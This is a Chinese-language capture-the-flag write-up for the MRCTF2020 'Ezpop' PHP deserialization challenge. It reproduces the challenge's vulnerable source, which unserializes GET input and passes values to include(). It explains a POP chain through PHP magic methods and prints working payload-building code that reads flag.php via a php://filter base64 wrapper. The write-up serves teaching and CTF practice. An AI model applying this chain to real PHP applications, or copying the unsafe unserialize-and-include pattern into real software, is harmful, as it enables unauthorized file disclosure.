[MRCTF2020]Ezpop 1
目錄
漏洞型別
解題思路
解題流程
新知識點
題目地址
漏洞型別
反序列化
解題思路
首先 預覽程式碼,發現函式 unserialize 判斷反序列化知識點,並且有多個類可能考察pop鏈
第一:獲取 flag 儲存 flag.php
第二:兩個魔術方法__invoke__construct__toString__wakeup__get
第三:傳輸 pop引數資料後觸發 __wakeup,對該類中的 this->source引數若為字串則對其進行過濾,若source變數為一個類則觸發__toString
第四:__toString 會呼叫this->str變數,當str變數為Test類的時候,將觸發__get
第四:__get會return $function方法,當給Test類中的p變數賦值為Modifier類時候,會觸發__invoke
第四:__invoke會執行append()方法,從而執行檔案包含,注意var變數為protected型別,需要對變數進行base64編碼
第五:涉及物件 Modifier,Show,Test,變數 op 及 var,source,str,p,進行構造輸出
解題流程
原始碼
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
構造程式碼
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Test{ public $p; } class Show{ public $source; public $str; public function __construct(){ $this->str = new Test(); } } $a = new Show(); $a->source = new Show(); $a->source->str->p = new Modifier(); echo urlencode(serialize($a));
新知識點
__construct 當一個物件建立時被呼叫,
__toString 當一個物件被當作一個字串被呼叫。
__wakeup() 使用unserialize時觸發
__get() 用於從不可訪問的屬性讀取資料
#難以訪問包括:(1)私有屬性,(2)沒有初始化的屬性
__invoke() 當指令碼嘗試將物件呼叫為函式時觸發。
->用來引用一個類的屬性(變數)、方法(函式)
protected屬性:在類的內部可以呼叫外部不能可以被繼承並且重構
return $this後可以加多個變數
題目地址
https://buuoj.cn/challenges#[MRCTF2020]Ezpop